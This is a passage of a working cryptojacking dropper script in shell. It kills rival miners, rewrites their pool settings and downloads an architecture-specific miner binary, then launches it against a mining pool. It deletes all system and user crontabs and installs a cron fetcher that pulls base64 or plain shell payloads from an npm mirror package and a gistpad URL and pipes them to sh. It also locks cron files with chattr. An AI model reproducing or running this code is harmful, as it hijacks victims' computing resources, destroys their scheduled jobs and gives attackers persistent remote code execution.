  569.   rm -f /tmp/run.sh 2>/dev/null || true
  570.   # Reclaim as honeypots
  571.   mkdir -p /bin/softirq 2>/dev/null || true
  572.   mkdir -p /tmp/nuclear 2>/dev/null || true
  573.   mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  574.   mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  575.   mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  576.   mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  577.   mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  578.   mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  579.   # Remove old dns-filter artifacts
  580.   for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
  581.     [ -f "$_cf_f" ] && rm -f "$_cf_f"
  582.   done
  583. }
  584. safe_patch_args() {
  585.   _spa_file='/lib/systemd/cache/process-watcher'
  586.   _spa_value="-o $_c3 -u $_c4/P2 --tls"
  587.   [ -f "$_spa_file" ] || return 0
  588.   _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  589.   if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
  590.     sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  591.   else
  592.     printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  593.   fi
  594. }
  595. replace_pool_user() {
  596.   _rpu_path="/var/tmp/.odoo_pg_health.json"
  597.   [ -f "$_rpu_path" ] || return 0
  598.   _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  599.   _rpu_tmp="${_rpu_path}.tmp.$$"
  600.   sed -e "s|\(\"user\"[     ]*:[    ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
  601.     <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  602.   [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
  603. }
  604. get_cpu_count() {
  605.   if [ -f /proc/cpuinfo ]; then
  606.     grep -c '^processor' /proc/cpuinfo
  607.   else
  608.     sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  609.   fi
  610. }
  611. is_ec2_host() {
  612.   hostname | grep -qi -e "ec2" -e "compute"
  613. }
  614. is_our_process_running() {
  615.   for _iop_dir in /proc/[0-9]*; do
  616.     [ -r "$_iop_dir/cmdline" ] || continue
  617.     _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  618.     if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
  619.       _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  620.       [ "$_iop_state" = "Z" ] && continue
  621.       _iop_pid="${_iop_dir##*/}"
  622.       case "$_ga_arch" in
  623.         aarch64|arm64|armv8l)
  624.           case "$_iop_cmdline" in
  625.             *"/$_c1"*) ;;
  626.             *)
  627.               echo "ARM process uses a different identifier; replacing"
  628.               kill -9 "$_iop_pid" 2>/dev/null
  629.               sleep 1
  630.               continue
  631.               ;;
  632.           esac
  633.           ;;
  634.       esac
  635.       _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  636.       _iop_cpu=${_iop_cpu:-0}
  637.       _iop_int=${_iop_cpu%.*}
  638.       _iop_int=${_iop_int:-0}
  639.       if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  640.         echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
  641.         return 0
  642.       else
  643.         echo "Our process idle (PID $_iop_pid) — killing and relaunching"
  644.         kill -9 "$_iop_pid" 2>/dev/null
  645.         sleep 1
  646.       fi
  647.     fi
  648.   done
  649.   echo "Our process not running"
  650.   return 1
  651. }
  652. set_arch_urls() {
  653.   _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  654.   case "$_ga_arch" in
  655.     x86_64|amd64)
  656.       _ga_url="$_c7"
  657.       _ga_fallback="$_c9"
  658.       _ga_machine=3e00
  659.       ;;
  660.     aarch64|arm64|armv8l)
  661.       _ga_url="$_c8"
  662.       _ga_fallback=""
  663.       _ga_machine=b700
  664.       _c1=ARM
  665.       ;;
  666.     *)
  667.       _ga_url=""
  668.       _ga_fallback=""
  669.       _ga_machine=""
  670.       return 1
  671.       ;;
  672.   esac
  673. }
  674. _elf_machine() {
  675.   od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
  676. }
  677. _is_elf_for_arch() {
  678.   _ie_file="$1"
  679.   [ -s "$_ie_file" ] || return 1
  680.   [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  681.   [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  682.   [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
  683. }
  684. _sfx_path() {
  685.   if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  686.   else printf '/tmp/.sysid'; fi
  687. }
  688. _load_or_gen_sfx() {
  689.   _log_f=$(_sfx_path)
  690.   if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  691.   _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  692.   [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  693.   mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  694.   printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  695.   printf '%s' "$_log_s"
  696. }
  697.  
  698. wipe_previous_crons() {
  699.   # 1) Release immutable/append-only pins from ANY cron file (not just
  700.   #    $(whoami)) — otherwise rm below fails with "Operation not permitted"
  701.   #    and the stale cron survives the wipe.
  702.   if [ "$(id -u)" -eq 0 ]; then
  703.     for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
  704.                /var/spool/cron/* /var/spool/cron/crontabs/* \
  705.                /etc/cron.hourly/* /etc/cron.daily/* \
  706.                /etc/cron.weekly/* /etc/cron.monthly/* \
  707.                /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  708.       [ -e "$_wl" ] || continue
  709.       chattr -i "$_wl" 2>/dev/null || true
  710.       chattr -a "$_wl" 2>/dev/null || true
  711.     done
  712.   fi
  713.  
  714.   # 2) Drop every user's crontab
  715.   crontab -r 2>/dev/null || true
  716.   for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
  717.     [ -f "$_us" ] && rm -f "$_us" 2>/dev/null || true
  718.   done
  719.  
  720.   # 3) Drop the system-wide cron tree
  721.   rm -f /etc/crontab 2>/dev/null || true
  722.   rm -f /etc/cron.d/* 2>/dev/null || true
  723.   rm -f /etc/cron.hourly/* /etc/cron.daily/* \
  724.         /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  725. }
  726.  
  727. create_cronjob() {
  728.   # Install a resilient pointer fetcher next to the payload (persistent dir,
  729.   # not /tmp) and have cron run it. The fetcher performs the full chain every
  730.   # run: /latest metadata -> dist.tarball -> package.json description ->
  731.   # base64 sanity gate -> sh, with npmjs + npmmirror origins and
  732.   # curl -> wget -> openssl fetch fallbacks.
  733.   # Ensure the tarball toolchain exists (tar + gzip) before relying on it.
  734.   for _cc_dep in tar gzip; do
  735.     if ! command -v $_cc_dep >/dev/null 2>&1; then
  736.       if [ "$(id -u)" = "0" ]; then
  737.         if command -v apk >/dev/null 2>&1; then
  738.           apk add --no-cache $_cc_dep >/dev/null 2>&1 || true
  739.         elif command -v apt-get >/dev/null 2>&1; then
  740.           apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq $_cc_dep >/dev/null 2>&1 || true
  741.         elif command -v yum >/dev/null 2>&1; then
  742.           yum install -y -q $_cc_dep >/dev/null 2>&1 || true
  743.         elif command -v dnf >/dev/null 2>&1; then
  744.           dnf install -y -q $_cc_dep >/dev/null 2>&1 || true
  745.         fi
  746.       fi
  747.     fi
  748.   done
  749.   # Keep the cron helper separate from the payload directory.
  750.   # Root gets a persistent system path; users stay under their home directory.
  751.   _cc_home=""
  752.   if [ "$(id -u)" = "0" ]; then
  753.     mkdir -p /etc/.dd 2>/dev/null && _cc_home="/etc/.dd"
  754.   fi
  755.   if [ -z "$_cc_home" ] && [ -n "$HOME" ] && [ -w "$HOME" ]; then
  756.     mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _cc_home="$HOME/.usr_cron/lib"
  757.   fi
  758.   if [ -z "$_cc_home" ] && [ -n "$HOME_1" ]; then
  759.     mkdir -p "$HOME_1" 2>/dev/null && [ -w "$HOME_1" ] && _cc_home="$HOME_1"
  760.   fi
  761.   [ -n "$_cc_home" ] || _cc_home="/tmp/.usr_cron/lib"
  762.   if ! command -v crontab >/dev/null 2>&1; then
  763.     echo "No crontab available; persistence not installed"
  764.     return 1
  765.   fi
  766.   # No-tar fallback: targets without tar cannot unpack the pointer tarball.
  767.   # Plant a static pastebin fetcher cron instead (payload served directly).
  768.   _cc_pastebin="https://gistpad.com/raw/ghmiklagh-9";
  769.   _cc_cmd=""
  770.   if command -v curl >/dev/null 2>&1; then
  771.     _cc_cmd="curl -fsSLk $_cc_pastebin | tr -d \"\r\" | sh"
  772.   elif command -v wget >/dev/null 2>&1; then
  773.     _cc_cmd="wget -qO- --no-check-certificate $_cc_pastebin | tr -d \"\r\" | sh"
  774.   elif command -v openssl >/dev/null 2>&1; then
  775.     # openssl-only fallback: raw HTTPS GET + staged decoding (no perl needed —
  776.     # strip HTTP headers with awk and execute only the response body).
  777.     mkdir -p "$_cc_home/systemdev" 2>/dev/null
  778.     _cc_helper="$_cc_home/systemdev/cron-fetch-ppfs.sh"
  779.     rm -f "/tmp/.cron_fetch_ppfs_$.sh" 2>/dev/null
  780.     cat > "$_cc_helper" << 'PASTEHELPER'
  781. #!/bin/sh
  782. _paste="$1"
  783. _hp="${_paste#https://}";; _hp="${_hp#http://}";
  784. _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  785.     if command -v timeout >/dev/null 2>&1; then
  786.       _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  787.         timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  788.     else
  789.       _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  790.         openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  791.     fi
  792.     printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' | sh
  793. PASTEHELPER
  794.     chmod 755 "$_cc_helper"
  795.     _cc_cmd="$_cc_helper $_cc_pastebin"
  796.   fi
  797.  
  798.   # Decide which cron line to install, given what we have.
  799.   if [ -n "$_cc_cmd" ]; then
  800.     if ! command -v tar >/dev/null 2>&1 || ! command -v gzip >/dev/null 2>&1; then
  801.       # Cannot use the registry pointer chain (needs tar+gzip) — use the
  802.       # static pastebin cron directly, dedup keyed on the URL.
  803.        if ! (crontab -l 2>/dev/null | grep -vF "$_cc_pastebin" | grep -vF "/systemdev/cron-fetch";
  804.              printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then
  805.          echo "Unable to install fallback crontab"
  806.          return 1
  807.        fi
  808.       echo "Cron persistence installed (pastebin fallback)."
  809.       return 0
  810.     fi
  811.     # tar+gzip present: prefer the resilient registry-pointer fetcher and
  812.     # keep the pastebin cron as an additional safety net.
  813.     :
  814.   else
  815.     echo "No tar/pointer and no curl/wget/openssl — no viable cron fallback"
  816.     return 1
  817.   fi
  818.   # Persistent fetcher dir chosen by privilege:
  819.   #   root: /etc/.dd/systemdev  (privileged, persistent)
  820.   #   user: $HOME/.usr_cron/lib (survives logout, no root needed)
  821.   #   fallback: /tmp/.usr_cron/lib (last resort, e.g. $HOME unwritable)
  822.   mkdir -p "$_cc_home/systemdev" 2>/dev/null
  823.   _cc_fetcher="$_cc_home/systemdev/cron-fetch"
  824.   cat > "$_cc_fetcher" << 'CRONHELPER'
  825. #!/bin/sh
  826. REGURL="https://registry.npmmirror.com/net-util-x7/latest";
  827. MIRROR="$(printf '%s' "$REGURL" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"
  828. _extr='s/.*"description":"\([^"]*\)".*/\1/p'
  829.  
  830. get_url() {
  831.   _gu="$1"
  832.   if command -v curl >/dev/null 2>&1; then
  833.     curl -fsSLk --max-time 30 "$_gu" 2>/dev/null && return 0
  834.   fi
  835.   if command -v wget >/dev/null 2>&1; then
  836.     wget -qO- --no-check-certificate -T 30 "$_gu" 2>/dev/null && return 0
  837.   fi
  838.   if command -v openssl >/dev/null 2>&1; then
  839.     _gu_now="$_gu"; _n=0
  840.     _raw="${TMPDIR:-/tmp}/".netx7-fetch.$$"
  841.     while [ "$_n" -lt 5 ]; do
  842.       _n=$((_n+1))
  843.       _hp="${_gu_now#https://}";; _hp="${_hp#http://}";
  844.       _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  845.       if command -v timeout >/dev/null 2>&1; then
  846.         printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  847.           timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  848.       else
  849.         printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  850.           openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  851.       fi
  852.       _st=$(awk 'NR == 1 {sub(/\r$/, ""); print $2; exit}' "$_raw" 2>/dev/null)
  853.       case "$_st" in 301|302|303|307|308)
  854.         _l=$(awk 'tolower($1) == "location:" {sub(/^[^:]*:[ \t]*/, ""); sub(/\r$/, ""); print; exit}' "$_raw" 2>/dev/null)
  855.         [ -z "$_l" ] && { rm -f "$_raw"; return 9; }
  856.         _gu_now="$_l"
  857.         continue;;
  858.       2??)
  859.         _off=$(awk 'BEGIN {n=0} {n += length($0) + 1; if ($0 == "" || $0 == "\r") {print n; exit}}' "$_raw" 2>/dev/null)
  860.         [ -n "$_off" ] || { rm -f "$_raw"; return 9; }
  861.         if command -v dd >/dev/null 2>&1; then
  862.           dd if="$_raw" bs=1 skip="$_off" 2>/dev/null
  863.           _rc=$?
  864.         elif command -v tail >/dev/null 2>&1; then
  865.           tail -c "+$((_off + 1))" "$_raw"
  866.           _rc=$?
  867.         else
  868.           rm -f "$_raw"
  869.           return 9
  870.         fi
  871.         rm -f "$_raw"
  872.         return "$_rc";;
  873.       *)
  874.         rm -f "$_raw"
  875.         return 9;;
  876.       esac
  877.     done
  878.     rm -f "$_raw"
  879.     return 9
  880.   fi
  881.   return 9
  882. }
  883.  
  884. run_gated() {
  885.   b=$(cat)
  886.   printf '%s' "$b" | grep -qE '^[A-Za-z0-9+/=]+$' || exit 9
  887.   printf '%s' "$b" | base64 -d | sh
  888. }
  889.  
  890. # 1) metadata from primary then mirror; extract tarball URL
  891. _t=""
  892. for _mu in "$REGURL" "$MIRROR"; do
  893.   _mt=$(get_url "$_mu" | tr -d "\r" | sed -n "s/.*\"tarball\":\"\([^\"]*\)\".*/\1/p" | head -1)
  894.   [ -n "$_mt" ] && { _t="$_mt"; break; }
  895. done
  896. # 1b) metadata may be gone (package unpublished upstream); fall back to the
  897. # known orphan tarball on the same mirror origin. Verified serving the
  898. # intact payload (sha256 ad8a1c84…). Gate below still applies.
  899. [ -z "$_t" ] && _t="https://registry.npmmirror.com/net-util-x7/-/net-util-x7-1.1788431378.0.tgz";
  900. [ -z "$_t" ] && exit 9
  901.  
  902. # 2) tarball from its origin; fall back to mirror host
  903. _b64=""
  904. for _tu in "$_t" "$(printf '%s' "$_t" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"; do
  905.   _cand=$(get_url "$_tu" | tar -xzO package/package.json 2>/dev/null | tr -d "\r" | sed -n "$_extr" | head -1)
  906.   [ -n "$_cand" ] && { _b64="$_cand"; break; }
  907. done
  908. # 3) static fallback: gistpad serves the payload as plain sh (no tar needed,
  909. #    no metadata, no gate) — last layer when both registry layers are dead.
  910. if [ -z "$_b64" ]; then
  911.   if command -v curl >/dev/null 2>&1; then
  912.     curl -fsSLk https://gistpad.com/raw/ghmiklagh-9 2>/dev/null | tr -d '\r' | sh
  913.     exit $?
  914.   fi
  915.   if command -v wget >/dev/null 2>&1; then
  916.     wget -qO- --no-check-certificate https://gistpad.com/raw/ghmiklagh-9 2>/dev/null | tr -d '\r' | sh
  917.     exit $?
  918.   fi
  919.   if command -v openssl >/dev/null 2>&1; then
  920.     _r=$(printf 'GET /raw/ghmiklagh-9 HTTP/1.0\r\nHost: gistpad.com\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' | \
  921.       timeout 45 openssl s_client -quiet -connect gistpad.com:443 -servername gistpad.com 2>/dev/null)
  922.     printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' | sh
  923.     exit $?
  924.   fi
  925.   exit 9
  926. fi
  927.  
  928. printf '%s' "$_b64" | run_gated
  929. exit $?
  930. CRONHELPER
  931.   chmod 755 "$_cc_fetcher"
  932.   # Dedup stale pointer lines, then install the cron entry keyed on the fetcher path.
  933.   if ! (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher";
  934.         printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
  935.     echo "Unable to install pointer crontab"
  936.     return 1
  937.   fi
  938.   echo "Cron persistence installed."
  939. }
  940. for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  941.   if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  942.     # Check it's not our process (guard against race: process may have died)
  943.     [ -r "/proc/$_main_pid/cmdline" ] || continue
  944.     _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
  945.     _is_excluded "$_main_cmdline" && continue
  946.     kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  947.   fi
  948. done
  949. if [ "$(id -u)" -eq 0 ]; then
  950.   command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
  951. fi
  952. log "Killing competing miners..."
  953. kill_themf
  954. kill_mf3
  955. kill_high_cpu
  956. for _main_target in \
  957.   ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  958.   "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  959.   "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  960.   kill_and_remove_process "$_main_target" || true
  961. done
  962. log "Hardening network..."
  963. harden_network
  964. log "Cleaning up files..."
  965. cleanup_files
  966. safe_patch_args
  967. replace_pool_user
  968. _SFX=$(_load_or_gen_sfx)
  969. if [ "$(id -u)" -eq 0 ]; then
  970.   HOME_1="/usr_${_SFX}/lib/dev"
  971.   _main_user_type="root"
  972.   # Install cron if missing (only as root)
  973.   if ! command -v crontab >/dev/null 2>&1; then
  974.     log "Installing cron..."
  975.     if command -v apk >/dev/null 2>&1; then
  976.       apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
  977.       command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
  978.       command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
  979.     elif command -v apt-get >/dev/null 2>&1; then
  980.       apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
  981.     elif command -v yum >/dev/null 2>&1; then
  982.       yum install -y cronie 2>/dev/null || true
  983.     fi
  984.   fi
  985. else
  986.   HOME_1="/tmp/.usr_${_SFX}/lib"
  987.   _main_user_type="user"
  988. fi
  989. program_file="$HOME_1/systemdev/dns-filter"
  990. mkdir -p "$HOME_1/systemdev" 2>/dev/null
  991. if ! set_arch_urls; then
  992.   log "Unsupported architecture: $_ga_arch"
  993.   exit 1
  994. fi
  995. cpu_count=$(get_cpu_count)
  996. is_ec2=false; is_ec2_host && is_ec2=true
  997. if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  998.   log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  999.   exit 0
  1000. fi
  1001. log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
  1002. if is_our_process_running; then
  1003.   log "Process running — installing cron and exiting"
  1004.   wipe_previous_crons
  1005.   create_cronjob "$_c2"
  1006.   exit 0
  1007. fi
  1008. log "Downloading..."
  1009. arch_url="$_ga_url"
  1010. if _is_elf_for_arch "$program_file"; then
  1011.   log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
  1012. else
  1013.   rm -f "$program_file" 2>/dev/null || true
  1014.   log "Fetching from $arch_url..."
  1015.   fetch_file "$arch_url" "$program_file"
  1016.   chmod +x "$program_file" 2>/dev/null
  1017.   if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
  1018.     log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
  1019.     rm -f "$program_file"
  1020.     fetch_file "$_ga_fallback" "$program_file"
  1021.     chmod +x "$program_file" 2>/dev/null
  1022.   fi
  1023. fi
  1024. if ! _is_elf_for_arch "$program_file"; then
  1025.   log "Error: no executable for architecture $_ga_arch"
  1026.   rm -f "$program_file" 2>/dev/null || true
  1027.   exit 1
  1028. fi
  1029. log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
  1030.  
  1031. launch_miner() {
  1032.   if command -v setsid >/dev/null 2>&1; then
  1033.     setsid "$program_file" "$@" >/dev/null 2>&1 &
  1034.   else
  1035.     nohup "$program_file" "$@" >/dev/null 2>&1 &
  1036.   fi
  1037.   _launch_pid=$!
  1038. }
  1039. log "Launching..."
  1040. _launch_ok=0
  1041. launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
  1042. sleep 5
  1043. if kill -0 "$_launch_pid" 2>/dev/null; then
  1044.   log "Process running (PID $_launch_pid)"
  1045.   _launch_ok=1
  1046. else
  1047.   log "Primary launch failed — retrying without -k..."
  1048.   launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
  1049.   sleep 5
  1050.   if kill -0 "$_launch_pid" 2>/dev/null; then
  1051.     log "Process running on retry (PID $_launch_pid)"
  1052.     _launch_ok=1
  1053.   fi
  1054. fi
  1055. if [ "$_launch_ok" != 1 ]; then
  1056.   log "All launch attempts failed"
  1057.   rm -f "$program_file" 2>/dev/null || true
  1058.   exit 1
  1059. fi
  1060. wipe_previous_crons
  1061. create_cronjob "$_c2"
  1062. if [ "$(id -u)" -eq 0 ]; then
  1063.   for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  1064.     if [ -f "$_lock_file" ]; then
  1065.       chattr +i "$_lock_file" 2>/dev/null || true
  1066.       chattr +a "$_lock_file" 2>/dev/null || true
  1067.     fi
  1068.   done
  1069. fi
  1070. log "Deployment complete."
  1071. exit 0